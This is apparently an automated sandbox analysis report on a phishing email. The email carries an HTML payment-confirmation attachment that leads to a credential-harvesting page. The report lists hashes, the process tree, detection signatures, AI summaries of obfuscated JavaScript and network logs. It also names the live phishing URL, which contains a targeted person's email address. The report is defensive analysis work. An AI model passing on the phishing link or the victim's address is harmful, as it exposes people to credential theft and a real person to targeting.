Edit tour

Windows Analysis Report
Quarantined Messages(3).zip

Overview

General Information

Sample name:	Quarantined Messages(3).zip
Analysis ID:	1585299
MD5:	5781e2e5deb1ac11efb39446052c77ff
SHA1:	6fc7c944c416770bd11192df020f1c03ae1d5aa3
SHA256:	8913bc2cfe2c41222c70b7043bf353152d1f2bc2b51126803b1d9b59e5187efb
Infos:

Detection

HTMLPhisher

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish77

AI detected suspicious Javascript

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

HTML title does not match URL

Invalid 'forgot password' link found

Invalid T&C link found

Queries the volume information (name, serial number etc) of a device

Sigma detected: Office Autorun Keys Modification

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

rundll32.exe (PID: 3028 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)

OUTLOOK.EXE (PID: 7004 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\AppData\Local\Temp\Temp1_Quarantined Messages(3).zip\41edf65b-5821-413e-185a-08dd2e6d50de\1c042ccb-e87d-57dd-69c8-e52ef84f5ad3.eml" MD5: 91A5292942864110ED734005B7E005C0)

ai.exe (PID: 7124 cmdline: "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "A0AD4FB3-4909-4BDE-946E-92AF4AD27C68" "1FB039F8-202C-496C-A4DF-58F134CCAD7F" "7004" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx" MD5: EC652BEDD90E089D9406AFED89A8A8BD)

chrome.exe (PID: 7100 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\03ABCFM0\(Epayment Confirmation.htm MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2528 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=1984,i,9123615028965336827,6357989353299673973,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
4.6.pages.csv	JoeSecurity_HtmlPhish_77	Yara detected HtmlPhish_77	Joe Security
4.5.pages.csv	JoeSecurity_HtmlPhish_77	Yara detected HtmlPhish_77	Joe Security
4.7.pages.csv	JoeSecurity_HtmlPhish_77	Yara detected HtmlPhish_77	Joe Security

Sigma Signatures

Sigma detected: Office Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 7004, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Addins\OneNote.OutlookAddin\1

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish77

Source: Yara match	File source: 4.6.pages.csv, type: HTML
Source: Yara match	File source: 4.5.pages.csv, type: HTML
Source: Yara match	File source: 4.7.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/AppData/Local/Microsoft/Wind... The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code. While the script appears to be decrypting and executing some content, the nature of the decrypted code is unclear, and the overall behavior is suspicious. Further investigation would be necessary to determine the full extent of the risks.
Source: 0.9.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://outsourcel.com.au/w3ertyuiu8y7654ty/#diego... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The use of an iframe to load additional scripts and the obfuscated nature of the code further increase the risk. While the script may have a legitimate purpose, such as a challenge platform, the overall behavior is highly suspicious and indicative of malicious intent.
Source: 0.7.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://outsourcel.com.au/w3ertyuiu8y7654ty/#diego... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The use of an iframe to load additional scripts and the obfuscated nature of the code further increase the risk. While the script may have a legitimate purpose, such as a challenge platform, the overall behavior is highly suspicious and indicative of malicious intent.
Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/AppData/Local/Microsoft/Wind... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirection to suspicious domains. The heavy obfuscation and use of encoded strings further indicate malicious intent. While the script may have some legitimate functionality, the overall risk profile is very high and it should be treated as a potential security threat.
Source: 0.4.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://outsourcel.com.au/w3ertyuiu8y7654ty/#diego... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The use of an iframe to load additional scripts and the obfuscated nature of the code further increase the risk. While the script may have a legitimate purpose, such as a challenge platform, the overall behavior is highly suspicious and indicative of a potential security threat.
Source: 0.3.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://outsourcel.com.au/w3ertyuiu8y7654ty/#diego... This script demonstrates several high-risk behaviors, including dynamic code execution via `eval()` and obfuscated code. It also sets a cookie with an expiration date in the future, which could be used for malicious purposes. The script appears to be testing for the presence of various headless browser and automation tools, suggesting it may be attempting to evade detection. Overall, the combination of these behaviors indicates a high likelihood of malicious intent, warranting a risk score of 9.
Source: 0.10.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://outsourcel.com.au/w3ertyuiu8y7654ty/#diego... This JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `eval`, `Function` constructor, and heavily encoded strings indicates a high likelihood of malicious intent. Additionally, the script appears to be attempting to redirect the user to an unknown or suspicious domain, which further increases the risk. Overall, this script demonstrates a clear pattern of malicious behavior and should be considered a high-risk threat.

Source: https://outsourcel.com.au/w3ertyuiu8y7654ty/FTbyrParHhJGN051zC5ekUwDpHuE8guUKstJbI7fPOjtUmxhldV5qnoGOL6cdjwTbRqHa2FNStFyJDXk6snjMviVQKoIAADMpcZongcW4qx98CeZ1B17lE44RdYXmYLgCT3VGQ03SSRP8wW6AhrNpy/verify

HTTP Parser: Number of links: 0

HTTP Parser: <input type="password" .../> found but no <form action="...

HTTP Parser: Total embedded image size: 23093

Source: https://outsourcel.com.au/w3ertyuiu8y7654ty/#diego.zonta@beantech.it

HTTP Parser: Base64 decoded: 1736252989.000000

HTTP Parser: Title: Verify your informations does not match URL

HTTP Parser: Invalid link: Forgot password?

Source: https://outsourcel.com.au/w3ertyuiu8y7654ty/FTbyrParHhJGN051zC5ekUwDpHuE8guUKstJbI7fPOjtUmxhldV5qnoGOL6cdjwTbRqHa2FNStFyJDXk6snjMviVQKoIAADMpcZongcW4qx98CeZ1B17lE44RdYXmYLgCT3VGQ03SSRP8wW6AhrNpy/verify	HTTP Parser: Invalid link: Terms of use
Source: https://outsourcel.com.au/w3ertyuiu8y7654ty/FTbyrParHhJGN051zC5ekUwDpHuE8guUKstJbI7fPOjtUmxhldV5qnoGOL6cdjwTbRqHa2FNStFyJDXk6snjMviVQKoIAADMpcZongcW4qx98CeZ1B17lE44RdYXmYLgCT3VGQ03SSRP8wW6AhrNpy/verify	HTTP Parser: Invalid link: Privacy & cookies
Source: https://outsourcel.com.au/w3ertyuiu8y7654ty/FTbyrParHhJGN051zC5ekUwDpHuE8guUKstJbI7fPOjtUmxhldV5qnoGOL6cdjwTbRqHa2FNStFyJDXk6snjMviVQKoIAADMpcZongcW4qx98CeZ1B17lE44RdYXmYLgCT3VGQ03SSRP8wW6AhrNpy/verify	HTTP Parser: Invalid link: Terms of use
Source: https://outsourcel.com.au/w3ertyuiu8y7654ty/FTbyrParHhJGN051zC5ekUwDpHuE8guUKstJbI7fPOjtUmxhldV5qnoGOL6cdjwTbRqHa2FNStFyJDXk6snjMviVQKoIAADMpcZongcW4qx98CeZ1B17lE44RdYXmYLgCT3VGQ03SSRP8wW6AhrNpy/verify	HTTP Parser: Invalid link: Privacy & cookies
Source: https://outsourcel.com.au/w3ertyuiu8y7654ty/FTbyrParHhJGN051zC5ekUwDpHuE8guUKstJbI7fPOjtUmxhldV5qnoGOL6cdjwTbRqHa2FNStFyJDXk6snjMviVQKoIAADMpcZongcW4qx98CeZ1B17lE44RdYXmYLgCT3VGQ03SSRP8wW6AhrNpy/verify	HTTP Parser: Invalid link: Terms of use
Source: https://outsourcel.com.au/w3ertyuiu8y7654ty/FTbyrParHhJGN051zC5ekUwDpHuE8guUKstJbI7fPOjtUmxhldV5qnoGOL6cdjwTbRqHa2FNStFyJDXk6snjMviVQKoIAADMpcZongcW4qx98CeZ1B17lE44RdYXmYLgCT3VGQ03SSRP8wW6AhrNpy/verify	HTTP Parser: Invalid link: Privacy & cookies

HTTP Parser: <input type="password" .../> found

Source: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/03ABCFM0/(Epayment%20Confirmation.htm	HTTP Parser: No favicon
Source: https://outsourcel.com.au/w3ertyuiu8y7654ty/#diego.zonta@beantech.it	HTTP Parser: No favicon
Source: https://outsourcel.com.au/w3ertyuiu8y7654ty/#diego.zonta@beantech.it	HTTP Parser: No favicon

Source: https://outsourcel.com.au/w3ertyuiu8y7654ty/FTbyrParHhJGN051zC5ekUwDpHuE8guUKstJbI7fPOjtUmxhldV5qnoGOL6cdjwTbRqHa2FNStFyJDXk6snjMviVQKoIAADMpcZongcW4qx98CeZ1B17lE44RdYXmYLgCT3VGQ03SSRP8wW6AhrNpy/verify	HTTP Parser: No <meta name="author".. found
Source: https://outsourcel.com.au/w3ertyuiu8y7654ty/FTbyrParHhJGN051zC5ekUwDpHuE8guUKstJbI7fPOjtUmxhldV5qnoGOL6cdjwTbRqHa2FNStFyJDXk6snjMviVQKoIAADMpcZongcW4qx98CeZ1B17lE44RdYXmYLgCT3VGQ03SSRP8wW6AhrNpy/verify	HTTP Parser: No <meta name="author".. found
Source: https://outsourcel.com.au/w3ertyuiu8y7654ty/FTbyrParHhJGN051zC5ekUwDpHuE8guUKstJbI7fPOjtUmxhldV5qnoGOL6cdjwTbRqHa2FNStFyJDXk6snjMviVQKoIAADMpcZongcW4qx98CeZ1B17lE44RdYXmYLgCT3VGQ03SSRP8wW6AhrNpy/verify	HTTP Parser: No <meta name="author".. found

Source: https://outsourcel.com.au/w3ertyuiu8y7654ty/FTbyrParHhJGN051zC5ekUwDpHuE8guUKstJbI7fPOjtUmxhldV5qnoGOL6cdjwTbRqHa2FNStFyJDXk6snjMviVQKoIAADMpcZongcW4qx98CeZ1B17lE44RdYXmYLgCT3VGQ03SSRP8wW6AhrNpy/verify	HTTP Parser: No <meta name="copyright".. found
Source: https://outsourcel.com.au/w3ertyuiu8y7654ty/FTbyrParHhJGN051zC5ekUwDpHuE8guUKstJbI7fPOjtUmxhldV5qnoGOL6cdjwTbRqHa2FNStFyJDXk6snjMviVQKoIAADMpcZongcW4qx98CeZ1B17lE44RdYXmYLgCT3VGQ03SSRP8wW6AhrNpy/verify	HTTP Parser: No <meta name="copyright".. found
Source: https://outsourcel.com.au/w3ertyuiu8y7654ty/FTbyrParHhJGN051zC5ekUwDpHuE8guUKstJbI7fPOjtUmxhldV5qnoGOL6cdjwTbRqHa2FNStFyJDXk6snjMviVQKoIAADMpcZongcW4qx98CeZ1B17lE44RdYXmYLgCT3VGQ03SSRP8wW6AhrNpy/verify	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 52.165.164.15:443 -> 192.168.2.16:52718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:52731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:52757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:52758 version: TLS 1.2

Source: global traffic	TCP traffic: 192.168.2.16:52714 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:52714 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:52714 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:52714 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:52714 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:52714 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:52714 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:52714 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:52714 -> 162.159.36.2:53

Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.164.15
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.164.15
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.164.15
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.164.15
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.164.15
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.164.15
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.164.15
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.164.15
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.164.15
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: outsourcel.com.au
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msauthimages.net

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52755
Source: unknown	Network traffic detected: HTTP traffic on port 52733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52752
Source: unknown	Network traffic detected: HTTP traffic on port 52718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52753
Source: unknown	Network traffic detected: HTTP traffic on port 52771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52768
Source: unknown	Network traffic detected: HTTP traffic on port 52753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52765
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52764
Source: unknown	Network traffic detected: HTTP traffic on port 52747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 52735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 52758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52771
Source: unknown	Network traffic detected: HTTP traffic on port 52750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 52729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52717
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52723
Source: unknown	Network traffic detected: HTTP traffic on port 52757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52729
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52721
Source: unknown	Network traffic detected: HTTP traffic on port 52732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52720
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52736
Source: unknown	Network traffic detected: HTTP traffic on port 52760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52735
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52739
Source: unknown	Network traffic detected: HTTP traffic on port 52754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52732
Source: unknown	Network traffic detected: HTTP traffic on port 52731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52730
Source: unknown	Network traffic detected: HTTP traffic on port 52770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52731
Source: unknown	Network traffic detected: HTTP traffic on port 52748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52747
Source: unknown	Network traffic detected: HTTP traffic on port 52759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52745
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52741
Source: unknown	Network traffic detected: HTTP traffic on port 52717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52742
Source: unknown	Network traffic detected: HTTP traffic on port 52751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52745 -> 443

Source: unknown	HTTPS traffic detected: 52.165.164.15:443 -> 192.168.2.16:52718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:52731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:52757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:52758 version: TLS 1.2

Source: classification engine

Classification label: mal52.phis.winZIP@20/24@31/195

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20250107T0729310709-7004.etl

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File read: C:\Users\desktop.ini

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\AppData\Local\Temp\Temp1_Quarantined Messages(3).zip\41edf65b-5821-413e-185a-08dd2e6d50de\1c042ccb-e87d-57dd-69c8-e52ef84f5ad3.eml"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "A0AD4FB3-4909-4BDE-946E-92AF4AD27C68" "1FB039F8-202C-496C-A4DF-58F134CCAD7F" "7004" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\03ABCFM0\(Epayment Confirmation.htm
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=1984,i,9123615028965336827,6357989353299673973,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "A0AD4FB3-4909-4BDE-946E-92AF4AD27C68" "1FB039F8-202C-496C-A4DF-58F134CCAD7F" "7004" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
